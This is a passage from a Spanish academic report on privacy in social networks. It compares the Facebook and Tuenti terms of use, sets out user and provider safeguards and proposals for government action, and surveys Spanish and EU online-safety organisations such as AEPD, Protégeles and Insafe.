hacerse con la contraseña de 75.000 sistemas y 2.500 organizaciones públicas como banca
online, organizaciones gubernamentales como el pentágono y personas anónimas.
Ilustración 68. Noticia: Robo masivo de contraseñas: http://www.neoteo.com/robo-masivo-de-

contrasenas.neo.
Los atacantes se valían de un paquete infectado con 30 aplicaciones que se hacía invisible a los
sistemas de seguridad, solo un 10% de ellos lograban detectarlo.
Se encontraron afectadas Webs como PayPal o Ebay y otras como Facebook, Yahoo y
Hotmail así como bancos españoles del grupo Santander entre otros.
Como vemos un gran robo de contraseñas que no deja de poder evitarse si el usuario no
abriera archivos contaminados provenientes adjuntos de correo o páginas sospechosas.
En este tipo de robos es donde se ve claramente la necesidad de educación en la sociedad y en

las empresas acerca de la seguridad informática, sobretodo cuando hablamos del robo de
datos de carácter personal.
57
Fuente: http://www.neoteo.com.
Página 258
sociales
14.3. Analizando las condiciones de uso de las redes sociales

Las condiciones de uso de los portales 2.0 se trata del contrato que firmamos que estas redes
sociales antes de hacernos usuarios de ellas. Cedemos una serie de derechos hasta que nos
demos de baja de estas plataformas, no es suficiente simplemente desactivar o la cuenta.
El problema es que la mayoría de los usuarios no leen estas condiciones de uso ya que estas
son muy extensas y tediosas de leer y dejamos que muchas empresas de Internet vigilen,
controlen y abusen de los contenidos que incluimos en la red.
El problema es que la información que contienen estas redes sociales acerca de los usuarios y
sus gustos, es información muy golosa para las grandes empresas de publicidad y
comunicación y que se puede conseguir de manera totalmente gratuita si se hace creer al
usuario que se encuentra en un entorno seguro y de privacidad.
Es importante que las condiciones de uso de estos portales sean claras ya que es importante
que las redes sociales hagan una gestión transparente con nuestros datos privados y
principalmente con los que son menores de edad. Veremos a posteriori una serie de páginas
web creadas por el Gobierno de España en defensa del menor en Internet.
A pesar de las clausulas abusivas que nos encontramos en las condiciones de uso y las políticas
de privacidad de algunas redes sociales existen mecanismos por parte de los gobiernos y otras
entidades para proteger nuestra información privada que más tarde conoceremos.
Vamos a analizar las condiciones de uso de las redes sociales y sus clausulas y así poder ver
cuáles de ellas favorecen a privacidad del usuario y cuáles de ellas son abusivas para el usuario.
14.3.1. Analizado las condiciones de uso de Facebook

Facebook es la red social más popular, por lo que es una de las reces sociales que más
desarrollada tiene su política de privacidad. En el 2010 la red social permitió que la privacidad
de los perfiles fuese muy configurable.
Al crear un nuevo perfil de Facebook, la Web nos indica que tenemos que rellenar ciertos
campos obligatorios con información personal que son: Nombre, Apellidos, E-mail, Sexo y
Fecha de nacimiento.
Página 259
sociales
Sin estos datos no es posible hacernos un perfil en la red social. ¿Y por qué? Facebook nos
dice…
Ilustración 69. Ilustración 69. Facebook. ¿Por qué tengo que dar mi fecha de nacimiento?
Podemos ocultar nuestros datos para el resto de usuarios, pero Facebook seguirá teniendo
nuestros datos reales.
Más adelante en el caso de uso referido a Facebook entraremos más en detalle en las
condiciones de uso de esta red social.
14.3.2. Analizado las condiciones de uso de Tuenti

Tuenti es una red social dirigida al público español, principalmente jóvenes. Es bastante
parecida a Facebook, por no decir “igual”. Ésta tiene 2 años menos que su compañera
Facebook. Debido a la similitud de las dos redes sociales la política de privacidad y los
términos de uso de la red deberían ser muy parecidos, simplemente variar las diferencias que
se podrían aplicar en el ámbito de la ley española y no estadounidense, como es el caso de
Facebook.
Investigando por la Web de Tuenti nos damos cuenta que tanto la política de privacidad como
los términos de uso de Tuenti están mucho menos elaborados que en Facebook.
Podemos ver el decálogo de condiciones de uso desde esta página

http://www.tuenti.com/ayuda/legal/.
Para temas relacionados con privacidad Tuenti dispone de estos links:

Recomendaciones generales sobre privacidad en su Página de privacidad
http://www.tuenti.com/ayuda/privacidad/.
Otros
o Creo que alguien ha accedido a mi cuenta. ¿Qué debería hacer?
o ¿Qué tipo de medidas de privacidad ofrece Tuenti?
o Creo que alguien ha creado una cuenta haciéndose pasar por mí. ¿Qué
debo hacer?
o Alguien en Tuenti ha subido fotos mías que no quiero que estén en la red.
¿Qué puedo hacer para que las eliminen?
Página 260
sociales
o Conozco a un usuario de Tuenti que ha fallecido. ¿Cómo puedo cerrar la

cuenta?
o ¿Es seguro tener un perfil en Tuenti para gente de todas las edades?
o ¿Qué puedo hacer para hacer que mi experiencia en Tuenti sea más
segura?
Un punto a favor de Tuenti son los links externos que nos ofrece en su página de privacidad
que son los siguientes y que pueden ser muy útiles para ayudar a los usuarios a usar
correctamente las redes sociales.
Seguridad Web 2.0 ofrecida por el Ministerio de Industria, Turismo y comercio:

PROTEGELES WEB 2.0
Decálogo del buen uso de Internet: chaval.es
Oficina de Seguridad del Internauta: Oficina de Seguridad del Internauta
Agencia española de protección de datos: agpd.es
Finalmente algunos links relacionados con la seguridad:
Conozco a alguien que ha perdido el control de su cuenta o que no puede acceder

a ella. ¿Qué debo hacer?
Alguien ha accedido a mi cuenta haciéndose pasar por mí. ¿Qué debo hacer?
Alguien ha creado una cuenta haciéndose pasar por mí. ¿Qué debo hacer?
¿Qué significa “phishing” y cómo puedo protegerme de él?
¿Qué tengo que hacer para que mi ordenador no recuerde mi contraseña si ya he
marcado esa opción?
¿Cómo escojo una buena contraseña?
¿Qué significa “Recordarme en este equipo"?
¿Qué puedo hacer para que mi experiencia en Tuenti sea más segura?
Un punto importante a destacar si comparamos las políticas de privacidad de Facebook con

Tuenti es que a pesar de actuar en un mismo mercado, hay que señalar que las dos redes
sociales desarrollan su actividad en jurisdicciones diferentes:
En Facebook el usuario se somete en la “Cláusula 15, Conflictos” a los Tribunales de

Santa Clara, California, USA, para resolver reclamaciones y demandas.
En Tuenti el usuario lo hace a los Tribunales de Madrid, España, lo que obliga a la red
social española a cumplir la Ley de Protección de Datos, que da una mayor protección
que la norteamericana a los datos de carácter personal.
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sociales
14.4. Inseguridad generada por niveles

Podemos tener problemas derivados de esta explosión de redes sociales:
A nivel laboral: hoy en día cada vez más empresas a la hora de contratar a
alguien, intentan buscar su perfil de Facebook o Tuenti, para intentar
descubrir más, qué tipo de persona van a contratar. Esto podría ser un
problema si nuestro perfil es público y tenemos fotos o comentarios que
podrían dañar nuestra imagen laboral.
Según la AEPD (Agencia Española de Protección de Datos) constató que algunos

departamentos de recursos humanos de las empresas españolas investigaban en las redes
sociales los perfiles de los candidatos a un puesto de trabajo.
Social Intelligence es una empresa de monitoreo de redes sociales que ofrece a los
departamentos de Recursos Humanos un resumen de la actividad de los trabajadores así
como comportamiento en estos portales, y lo más importante, incluyendo la actividad cuándo
no se está dentro del trabajo. A pesar de esto, en Europa las leyes de protección y privacidad
de los datos son muy fuertes, tanto que en determinados países como Alemania se prohíbe a
las empresas consultar determinadas redes sociales que no sean específicas para empleo,
como LinkedIn, para tomar decisión de contratación o corporativas.
A nivel familiar: podría haber malentendidos surgidos a raíz de los

comentarios de nuestros amigos de la red social o fotografías, tanto en una
relación de pareja, como con hijos o familiares.
Seguridad física: los malhechores cuentan con información privada de
nuestra vida y los que nos rodean, información relacionada con nuestro
trabajo, nuestra vida personal o nuestro lugar de vacaciones.
La seguridad física podríamos destacarla como primordial. Podríamos vernos involucrados

nosotros o nuestros amigos, dentro de algún fraude, robo, chantaje, secuestro, violación,
pornografía infantil… todo tipo de actos violentos, que van más allá de que una empresa
adquiera nuestro teléfono para realizar algún tipo de tele marketing. De ahí que los medios
desaconsejen en verano siempre no anunciar que nos vamos de vacaciones ni el lugar de
destino.
En México, las redes sociales sirvieron de instrumento para secuestradores que investigaban a
sus víctimas mediantes su datos personales para averiguar sus direcciones, quiénes son sus
amigos, imágenes que puedan mostrar su status económico interesante.
Página 262
sociales
14.5. Medidas de Seguridad a nivel de usuario y proveedor

Se debería concienciar a la población desde los gobiernos de lo importante que es la
privacidad en el mundo de las redes sociales.
Problemas del usuario a la hora de hacer uso de las redes sociales:
Desconocimiento de los posibles riesgos.

Uso irresponsable de sus datos.
Traslado de la responsabilidad:
o Pertinencia y finalidad de los datos.
o Actualización y rectificación de los datos.
Falta de concienciación sobre la seguridad de la información.
14.5.1. Nivel de usuario

Algunas de las medidas de seguridad que pueden tomar los usuarios pueden ser:
Desconfiar de los desconocidos. No añadir a amigos desconocidos a las redes

sociales. Sobretodo desconocidos que tienen fotos atractivas, generan más
contactos y hay que desconfiar.
Los conocidos que nos han añadido puede que no sea realmente la persona
que dice ser por lo que hay que asegurarse de que realmente es el
preguntándole algo personal o hablando con él.
No hay que caer en el error de añadir a desconocidos que tienen varios amigos
en común.
Hay que tener cuidado a la hora de añadir a gente del trabajo a nuestro perfil
de la red social. Se podría configurar distintos niveles de privacidad si la red
social lo permite.
Previamente a publicar nuestro perfil de la red social, hay que preguntarse
qué datos personales debería publicar, cuáles quiero que se conozcan y
cuáles quiero que no.
Si el perfil de la red social es de una persona menor de edad lo mejor es que se
den los menores datos personales posibles y por su puesto datos como
domicilio, teléfono, etc.
Para evitar que las empresas u otras entidades busquen información acerca de
nosotros en nuestras redes sociales es adecuado usar un seudónimo.
Finalmente, hay que tener cuidado si publicamos información de otros sin su
consentimiento.
Deberemos crear grupos de confianza en las redes que lo permita y en las que
no directamente no acceder a ellas. La mayoría de las redes sociales no
permite hacerlo. Deberemos crear diferentes grupos de amigos con diferentes
permisos. Es un trabajo tedioso per muy importante a la hora de configurar
nuestra privacidad en estas redes.
Página 263
sociales
14.5.2. Nivel de proveedor

Algunas de las medidas que pueden tomar los proveedores de las redes sociales son las
siguientes:
Deberían informar a los usuarios sobre el tratamiento de los datos de carácter

personal que se harán en la red social y explicarlo de manera transparente e
inteligible.
Dar asesoramiento sobre cómo se debe gestionar los datos personales de
terceras personas.
Llevar un control de los usuarios de la red social sobre lo que realizan los
usuarios con los datos de los perfiles.
Permitir que los usuarios configuren la red con diferentes niveles de
privacidad para poder restringir la visibilidad completa de nuestro perfil
personal, así como datos personales, fotos, videos, publicaciones, etc.
También restringir la posibilidad de búsqueda de nuestro perfil. Los perfiles de
las redes sociales deberían ser privados por defecto para que los usuarios
inexpertos no se vean involucrados en ningún tipo de problema por el robo de
datos de carácter personal.
Proteger a los usuarios contra ataques que puedan poner en peligro los datos
personales de los usuarios de manera técnica y legal. Tomar medidas para que
las empresas de marketing no descarguen datos de perfiles en masa para
bombardear con publicidad a los usuarios.
Permitir que los usuario de la red social puedan borrar el perfil de usuario o
bloquearlo cuando ellos lo deseen, y que si deciden borrarlo se haga de
manera permanente.
Página 264
sociales
14.6. Posibles soluciones a nivel de Gobierno

Una posible solución al problema, sería controlar el sistema de autenticación univoca en la red
social mediante un certificado digital. Por ejemplo, para hacernos un Tuenti podría pedirnos
expresamente el DNI digital a la hora de creación de nuestra cuenta para ver que realmente
somos esa persona que decimos ser. Esta solución podría ser contraproducente, ya que los
internautas perderían libertad de expresión de manera deliberada, y las empresas podrían
controlar aún más a sus trabajadores, así como potenciar los delitos de pornografía infantil si
se permite acceder a menores a la red social.
Otra posible solución a este problema de privacidad, podrían ser campañas de

concienciación por parte de los Gobiernos sobre el riesgo de las redes sociales, educar a la
sociedad. El uso irresponsable por parte de los usuarios de las redes sociales que se haga hoy,
podría verse afectado mañana y sin retorno, por lo que conviene prevenir. Es cierto que
existen varias asociaciones españolas dedicadas a la seguridad Web, pero también es cierto
que las campañas de concienciación para la seguridad en Internet son prácticamente nulas,
hay mucho desconocimiento en la red por parte de los usuarios inexpertos.
Unido a esto se debería formar a los usuarios, es decir, elaborar una serie de cursos de
formación sobre los riesgos de las redes sociales que se imparta en empresas, universidades y
colegios, ya que el colectivo más afectado por estas redes sociales con más riesgo son los
adolescentes.
Se deberían tomar soluciones por parte del gobierno también limitando las cesiones de los
derechos por parte de las redes sociales. Los usuarios están protegidos por determinadas
leyes en cuanto a derechos de imagen, derecho de datos de carácter personal e intelectual,
pero los gobiernos deberían limitarlos específicamente para las redes sociales aunque vaya en
contra de los términos de uso de algunas de ellas.
Otra medida a tomar sería que para este tipo de redes sociales hubiera una mayor
estandarización en lo que se refiere a programación, es decir, que se provea un código tipo
para este tipo de plataformas, evitando así fallos de seguridad y fugas de información.
Certificado digital para la red social

Como comentábamos antes una posibilidad para verificar la autenticidad de un perfil de
usuario en una red social es la posibilidad de hacerlo mediante un certificado digital que este
custodiado por un tercero, es decir, es decir una autoridad de certificación u otros certificados
como el DNI-e. Así garantizaríamos la identidad personal, no repudio, integridad,
autenticación, etc.
En el pasado abril de 2009 Tuenti se comprometió junto a la AEPD a depurar los perfiles de
menores de 14 años, ya que estos en teoría no pueden acceder a la red social. Para ello Tuenti
escogió todos los perfiles que fueran sospechosos y pidió adjuntar una fotocopia del DNI-e
para verificar su edad en menos de 92h. El 90% de los perfiles sospechosos fueron eliminados
por no aportar ninguna documentación.
Página 265
sociales
Imaginemos que esto es así pero para acceder a la red social necesitamos adjuntar la clave
pública de nuestro DNI-e, pasar nuestro DNI-e por un lector o adjuntar un certificado
digital de una autoridad de certificación como puede ser por ejemplo carmerfirma. De esta
manera todos los perfiles de la red serían reales, pero ¿dónde queda la privacidad? Si ya
somos perseguidos hoy en día por las empresas sin saber nuestro nombre en las redes sociales
en busca de cualquier tipo de información nuestra, si el sistema de logueo fuera así ¿cuánta
gente utilizaría facebook o Tuenti como lo hace ahora? Quizá este tipo de logueo sería más
adecuado para redes profesionales como LinkedIn.
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sociales
14.7. Soluciones actualmente funcionando

En Europa existen 37 organismos de protección de la privacidad para este tipo de Webs 2.0
donde la protección de los datos de carácter personal prima sobre todo, dependiendo en cada
país de la Ley de Protección de datos que tengan.
A nivel europeo, todos los años se celebra la 32ª Conferencia Internacional de Autoridades de
Protección de Datos y Privacidad58. El pasado 2010 se celebró en Jerusalén, Israel llamándose
“Privacy: Generations”. En estas conferencias se reúnen unos 37 países en total para discutir
los derechos que atañen a la privacidad de los usuarios y las personas en el mundo de Internet.
Veamos el video referente a la conferencia advirtiéndonos acerca de nuestra privacidad en la

red.
Ilustración 70. Privacy: Generations,

http://www.youtube.com/watch?v=hsnr_4ccceY&feature=player_embedded.
El pasado 2009 la 31ª Conferencia internacional de autoridades de protección de datos y

privacidad se celebró en Madrid de donde se establecieron los principios básicos59 que
propusieron los países que se reunieron fueron:
Principio de lealtad y legalidad

Principio de finalidad
Principio de proporcionalidad
Principio de calidad
Principio de transparencia
Principio de responsabilidad
58 nd
32 International Conference of Data Protection and Privacy Commissioners, http://www.justice.gov.il/PrivacyGenerations.
59
Estándares Internacionales sobre la Protección de Datos Personales y Privacidad,
https://www.agpd.es/portalwebAGPD/canaldocumentacion/conferencias/common/pdfs/31_conferencia_internacional/estandare
s_resolucion_madrid_es.pdf
Página 267
sociales
La Unión Europea ha creado el día llamado “Día Internacional de la Internet Segura” que es
el 9 de febrero, para concienciar a los usuarios de lo importante que es la seguridad en
Internet a través de la Web Internet Segura 2010 http://internetsegura2010.com.
También existe el “Día Europeo de Protección de Datos” el 28 de enero, como podemos ver
desde esta Web http://www.apep.es/dia-europeo-proteccion-datos/.
En España en concreto existen varias asociaciones y webs destinadas a la seguridad en redes

sociales para proteger nuestros datos de carácter personal, medidas de protección a menores
o información para el internauta relacionada con Web 2.0, la mayoría de ellas ofrecidas por el
Ministerio de Industria, Turismo y Comercio.
Entre ellas, podemos destacar la Agencia Española de Protección de Datos (AEPD),

https://www.agpd.es. Esta agencia se creó en 1993 y es la encargada de velar por el
cumplimiento de la Ley Orgánica de Protección de Datos española. Su ámbito de actuación es
España.
Aquí citamos otras webs españolas relacionadas con la seguridad 2.0:
Seguridad Web 2.0 ofrecida por el Ministerio de Industria, Turismo y comercio:

SeguridadWeb2.0.es. Se trata de una web orientada al usuario final para que conozca las
redes sociales más visitadas en España y los riesgos que conllevan estas tanto para ellos como
para sus hijos.
Decálogo del buen uso de Internet: chaval.es. Se trata de una web ofrecida por el Gobierno
de España para los hijos españoles enseñando el buen uso de las TIC (Tecnologías de la
información) mediante juegos educativos. El fin es enseñar a los niños el buen uso de Internet
y los peligros que puede conllevar de manera educativa.
Otro organismo a destacar es la Asociación Profesional Española de Privacidad (APEP),

http://www.apep.es/. Se trata de una asociación privada de internautas cuyos retos son los
siguientes:
Dotar de patrones de calidad al desarrollo profesional de las actividades

vinculadas a la privacidad.
Fomentar el conocimiento y valoración social del derecho fundamental a la
protección de datos de carácter personal.
Defender los intereses profesionales de sus asociados.
La Oficina de Seguridad del Internauta, Oficina de Seguridad del Internauta, nos ayuda a
conocer los riesgos y amenazas de la red así como consejos de privacidad y legales. Se trata
de una web ofrecida por el Ministerio de Industria, Turismo y Comercio, Plan Avanza2 e
Inteco.
Otras asociaciones a destacar:
Asociación de Usuarios de Internet, http://aui.es.

Asociación de Internautas: http://www.internautas.org/.
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sociales
Asociaciones contra la pornografía infantil:
Protégeles: http://www.protegeles.com/.
Acción contra la pornografía infantil: http://www.asociacion-acpi.org/.
Chaval: http://www.chaval.es/chavales/page?p=index
Ins@fe: http://www.saferinternet.org.
Safer Internet Programme (Unión Europea):
http://ec.europa.eu/information_society/activities/sip/index_en.htm.
Finalmente si tenemos cualquier problema de seguridad en Internet podemos acudir a las

Webs oficiales del Estado:
Brigada de Investigación Tecnológica (Cuerpo nacional de policía):

http://www.policia.es/bit/.
Guardia Civil: http://www.guardiacivil.org.
Ministerio de Educación: http://www.mepsyd.es/portada.html.
Ministerio de Industria, Turismo y Comercio: http://www.mityc.es/es-
ES/Paginas/index.aspx.
Ministerio de Ciencia e Innovación:
http://www.micinn.es/portal/site/MICINN/.
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sociales
14.7.1. Seguridad Web 2.0

La Web “Seguridad www 2.0” que podemos encontrar en la siguiente dirección
http://www.seguridadWeb20.es/ se trata de un portal ofrecido por el Ministerio de Industria,
Turismo y Comercio. La web nos da información sobre las redes sociales más populares en
España y otros temas.
Ilustración 71. Web Seguridad 2.0 del Ministerio de Industria, Turismo y Comercio.
La web inicial nos ofrece cuatro posibles temas de información:
1. Redes sociales. (http://www.seguridadweb20.es/redes_sociales.php)

Nos ofrecen información general sobre el uso de las redes sociales, riesgos que tenemos al
hacernos usuarios de una red social y consejos de utilización de las redes sociales.
A modo de introducción nos dicen “Las Redes Sociales son un invento estupendo, y no tienen
porque generarnos problemas si respetamos una serie de cuestiones básicas relativas a la
seguridad y al respeto.”
Página 270
sociales
Ilustración 72. SeguridadWeb20.es: Redes Sociales.
Vamos a ver alguna información extraída de esta sección.
Principales riesgos de la Web 2.0:
Al darse de alta en la Red:

Lagunas en la información legal y en las condiciones de uso.
Formularios excesivos datos de carácter personal.
Perfiles abiertos por defecto.
Mientras se es usuario de la red:
Publicación excesiva propia o de terceros.
Indexación de los contenidos.
Cookie: publicidad contextualizada.
Cesión de derechos de propiedad intelectual.
Ciberbullying60 y grooming61.
Al darse de baja de la red:
Dificultad para realizar bajas efectivas.
Los datos siguen a disposición de la empresa.
10 Consejos para utilizar las redes sociales de forma segura:
Si descubres una foto comprometedora tuya en el perfil de otra persona, ponte en

contacto con el administrador del sitio web si consideras que el contenido no es
adecuado. Recuerda que tu foto es un elemento de información personal y te
60
Ciberbullying o ciberacoso es el uso de información electrónica y medio de comunicación como correo electrónico, redes
sociales, blogs, mensajería instantánea, mensajes de texto, teléfonos móviles o websites difamatorios para acosar a un individuo
o grupo, mediante ataques personales u otros medios. Fuente: http://es.wikipedia.org/wiki/Ciberacoso.
61
Grooming o grooming de niños por internet es un nuevo problema relativo a la seguridad de los menores en Internet; se trata
de acciones deliberadas por parte de un adulto de cara a establecer lazos de amistad con un niño en Internet, con el objetivo de
obtener una satisfacción sexual mediante imágenes eróticas o pornográficas del menor o la preparación para un encuentro
sexual. Fuente: http://es.wikipedia.org/wiki/Grooming.
Página 271
sociales
corresponde decidir cómo se debe utilizar. También puedes dirigirte directamente

a PROTEGELES ( [email protected] )
No es buena idea colgar fotos atrevidas porque nunca se sabe dónde pueden ir a
parar. La foto puede quedarse en línea para siempre. No cuelgues una foto que
realmente no estés dispuesto/a a que llegue a verla todo el mundo, ni una foto que
no estés dispuesto/a a que circule toda tu vida por internet. Ambas cosas pueden
suceder con cualquier foto que subas a la red.
Buena parte del material que aparece en Internet está protegido por derechos de
autor. Eso significa que no está disponible de forma gratuita. Lee las reglas antes
de utilizar algo que encontraste en línea.
Conozco a alguien que ha creado un perfil utilizando la foto de un amigo en lugar
de la suya. Hacerse pasar por otra persona no es un comportamiento aceptable.
Es más, puede tener consecuencias legales.
¡No hay que creer todo lo que se ve en Internet! Las imágenes se pueden
manipular fácilmente y frecuentemente circula información falsa en Internet.
No se puede publicar la foto de alguien sin su permiso. Recuerda que incluso en
Internet puedes herir los sentimientos de una persona.
Si tienes permiso para publicar fotos, no incluyas otros datos personales como
nombre, dirección, teléfono, etc.
Ponerse en contacto con desconocidos puede ser peligroso, no sabes con quién
estás hablando.
Es fundamental respetar los derechos de los demás en Internet. Una forma de
hacerlo es no reenviar material inadecuado y denunciarlo.
Los perfiles privados en las redes sociales no son infalibles. Siempre se puede
copiar una imagen publicada en Internet.
Página 272
sociales
2. Tu Responsabilidad. (http://www.seguridadweb20.es/tu_responsabilidad.php)
Es sección nos da a conocer los límites legales que debemos acatar para no cometer ningún
delito en la red y normas para velar por nuestra seguridad y privacidad.
Ilustración 73. SeguridadWeb20.es: Tu Responsabilidad.
Información extraída de esta sección:
“En internet no todo vale… tienes el deber de respetar los derechos de los demás.”
Recuerda que:
Internet no es anónimo.
Ser menor de edad no exime de responsabilidad, es decir, aunque seas menor eres
responsable de lo que hagas.
El desconocimiento de las leyes no exime el deber de cumplimiento de las
mismas, es decir, que no conozcas las leyes no quiere decir que no debas
cumplirlas.
Nos ofrece información sobre:
Protección de datos de carácter personal.

Derecho a la intimidad, honor y propia imagen.
Derecho a la propiedad intelectual.
Ciberdelitos.
Delitos e injurias del Código Penal.
o Injurias.
o Calumnias.
o Amenazas.
o Usurpación del estado civil o suplantación de identidad.
o Apología del terrorismo y la xenofobia.
Página 273
sociales
o Ciberbullying o ciber acoso escolar. (http://www.internetsinacoso.es/).
3. Recursos para ti.

Podemos acceder a los recursos por parte del Ministerio relacionados con la protección de
menores:
a) Línea de denuncia. (http://www.protegeles.com/ ).

b) Líneas de ayuda para protección de menores.
“Una de las líneas de trabajo de PROTEGELES son las llamadas helplines ó líneas de
ayuda. Para ello, en cada caso, se crea una página web a través de la cual los menores
o sus familias pueden contactar directamente con los profesionales que trabajan en la
organización. Nuestro equipo de trabajo destinado a las helplines está conformado
por psicólogos, pedagogos, abogados y expertos en nuevas tecnologías y seguridad
infantil.”
Línea de Ayuda e Información sobre trastornos alimentarios (anorexia y bulimia).
o www.masqueunaimagen.com
Línea de Ayuda contra el acoso escolar.
o www.internetsinacoso.es
Línea de Ayuda para familias sobre nuevas tecnologías.
o www.ciberfamiias.com
Línea de Ayuda sobre Tecnoadicciones.
o www.tecnoadicciones.com
EL PORTAL DEL MENOR
o www.portaldelmenor.es
Ilustración 74. SeguridadWeb20.es: Líneas de ayuda.
Página 274
sociales
4. Estudio
Podemos ver un estudio realizado por Protégeles sobre el uso de las redes sociales por parte
de los menores con estadísticas y gráficos relacionados en formato pdf.
Información sobre Web 2.0

A parte de estos temas generales también nos ofrecen información sobre las Webs 2.0 más
populares y sus características.
Tuenti
“PROTEGELES considera que la Red Social TUENTI es sin lugar a dudas la más segura de
cuantas se utilizan en España en la actualidad, así como la más comprometida con la
protección de sus usuarios menores de edad. Del mismo modo participa de forma proactiva
llevando a cabo acciones preventivas y formativas incluso en centros escolares.”
Facebook
“La Comisión publicó el año pasado un informe sobre la aplicación de los “Principios para las
Redes Sociales más Seguras”, estudiando 25 redes sociales presentes en Europa, entre las que
se encuentra FACEBOOK.”
Youtube
“Sitio Web dedicado al intercambio de videos. Cualquier usuario de Internet puede entrar en
la página y buscar vídeos de su interés gracias al motor de búsqueda por palabras clave. Para
acceder a determinados servicios de la página es necesario crearse una cuenta gratuita y
registrarse como usuario. Los usuarios de YouTube podrán colgar sus propios videos y hacer
comentarios de los mismos.”
MySpace
se encuentra MySpace.”
Habbo
se encuentra HABBO.”
Second Life
“Second Life es un mundo virtual donde puedes desarrollar una segunda vida, observa que no
hemos dicho “es un juego” porque sería una forma muy pobre de describirlo. El objetivo no es
quedar primero o superar una serie de pantallas o retos, en Second Life, como su propio
nombre indica, puedes tener una segunda vida en un mundo virtual.”
Página 275
sociales
Wikipedia
“Según la definición de la propia página, es una “enciclopedia de contenido libre que todos
pueden editar”.
Cualquier usuario de Internet puede escribir artículos, leer y/o modificar los ya publicados,
etc.… Es, por lo tanto, una enciclopedia en constante cambio y evolución. Desde su origen en
el año 2001 hasta la actualidad, se han publicado más de 11 millones de artículos en 265
idiomas.”
MMog’s (Massive Multiplayer Online Games)
“Juegos Multijugador Online. Son un tipo específico de videojuegos que requieren conexión a
Internet. En ellos, el usuario se crea un personaje o avatar que debe ir moviéndose por el
mundo virtual e interactuando con otros jugadores. El objetivo es adquirir experiencia para
avanzar en los niveles del juego. Se pretende ir mejorando y superando al resto de usuarios.”
P2P
“Las redes P2P (peer to peer o red de pares) son redes en las que, a través de una serie de
nodos que se comportan como iguales entre sí, actúan como clientes o servidores
indistintamente, y podemos descargar archivos que han puesto a nuestra disposición otros
usuarios.
Esto quiere decir que nuestro ordenador está “bajando” archivos de otros ordenadores
conectados a la red pero también los está ofreciendo para su descarga a otras personas.”
En realidad esta web está muy enfocada a los padres para que conozcan el uso de la Web 2.0.
Página 276
sociales
14.7.2. Protégeles
La Web “Protégeles” que podemos encontrar en la siguiente dirección
http://www.protegeles.com/ se trata de una asociación sin ánimo de lucro surgida en el año
2002.
Ilustración 75. Protegeles.com.
Objetivos que persiguen:
Facilitar a la Policía y a la Guardia Civil en mayor número de informaciones

verificables, que permitan la eliminación de páginas de pornografía infantil en
internet, así como la localización de sus autores.
Desarrollar acciones, campañas y trabajos de prevención, con el fin de mejorar la
seguridad de los menores en internet. Desde PROTEGELES se ha llevado a cabo
diversos Estudios relacionados con las costumbres y seguridad de los menores en
internet, todos ellos publicados por el Defensor del Menor, que están permitiendo
a su vez la consecución de diversas Campañas preventivas, tal y como se detalla a
lo largo del presente dossier informativo.
Página 277
sociales
Líneas de denuncia
La Web ofrece diferentes líneas de ayuda: pornografía infantil, incitación al odio racial,
apología a la anorexia y bulimia, seguridad en telefonía móvil, apología al terrorismo, internet
sin acoso (ciberbullying), acoso escolar (bullying), tráfico de drogas, videosjuegos,
ciberfamilias.
Ilustración 76. Protegeles.com: ¿Qué hacemos?
“En su primer mes de funcionamiento la Línea de Denuncia Contra la Pornografía Infantil en

Internet www.protegeles.com recibía 529 informaciones www.protegeles.com sobre páginas
de pornografía infantil (octubre de 2001). Un año después ya recibía más de 900 y en Julio de
2004 alcanzó la cifra de 1.915 informaciones/mes. Durante 2007 se reciben entre 1.300 y 1.500
denuncias por mes, llegando a las 3000 denuncias mensuales en 2008.”
Estudios
“El trabajo de PROTEGELES se centra no sólo en la localización de páginas de pornografía
infantil, la denuncia de pedófilos, etc, sino que también conlleva una importante faceta
preventiva.
PROTEGELES realiza estudios en profundidad dirigidos a identificar nuevos riesgos para los
menores.”
Seguridad infantil y hábitos

Anorexia y bulimia
Cibercentros y seguridad de los menores de Internet.
Página 278
sociales
Campañas
“PROTEGELES es una organización eminentemente práctica, cuyo objetivo no es sólo la
sensibilización social y la denuncia, sino también el desarrollo de Campañas y la elaboración
de materiales didácticos específicos dirigidos hacia los menores.
De cada objetivo y de cada Estudio realizado por la organización se derivan siempre

Campañas preventivas.”
Algunas de las campañas son:
Exprime la red
Apología de la anorexia y la bulimia en Internet
Cibercentro amigo.
Relaciones externas
Protégeles está en relación con varias asociaciones externas.
Unión Europea, Comisión Europea

Cuerpo de seguridad, Unidad de Investigación de Delincuencia en las Tecnologías de
la Información (UITI).
INHOPE (Internet Association of Internet Hotlines).
Organismos
o Defensor del menor
o Ministerio de Ciencia y Tecnología
ISP’s
o Terra
o msn
o Orange
o Yahoo! España
o Ya.com
Entorno educativo
o Conferencia en colegios
o Ponencia en las Universidades
o Congresos internacionales
o Curso en Profesores en la CAM
o Desarrollo de convenios
o Labores de inmediación de resolución de conflictos
o Edición de materiales
o Espacio informativos en Internet
o Desarrollo de estudios y campañas
Otras ONG’s
o La Línea de Denuncia hispano-peruana
o La Línea de Denuncia hispano-costarricense
o ACPI (Acción Contra la Pornografía Infantil)
Página 279
sociales
Webs de interés
También nos ofrecen un repertorio de material y Webs que ofrecen:
www.cibercentinelas.org
www.masqueunaimagen.com
www.anaymia.com
www.stop-drogas.com
www.inhope.org
www.exprimelared.com
www.asociacion-acpi.org
www.portaldelmenor.es
www.internetsegura2009.com
www.internetsinacoso.com
www.lineasdeayuda.info
www.micueva.com
www.mipisitovirtual.com
www.protegelestv.com
www.safenet2.com
www.sinacoso.es
www.stopanorexia.es
www.stop-obsesion.com
www.tecnoadicciones.com
Ilustración 77. Protegeles.com: Webs.
Finalmente tenemos en la Web una sección de niños desaparecidos.
Página 280
sociales
14.7.3. Insafe
Se trata de un programa de la Unión Europea para promover el internet seguro. La Web se
ubica en http://www.saferinternet.org.
Ilustración 78. Insafe.
La Web nos ofrece diferente información dependiendo si somos menores, profesores o

padres.
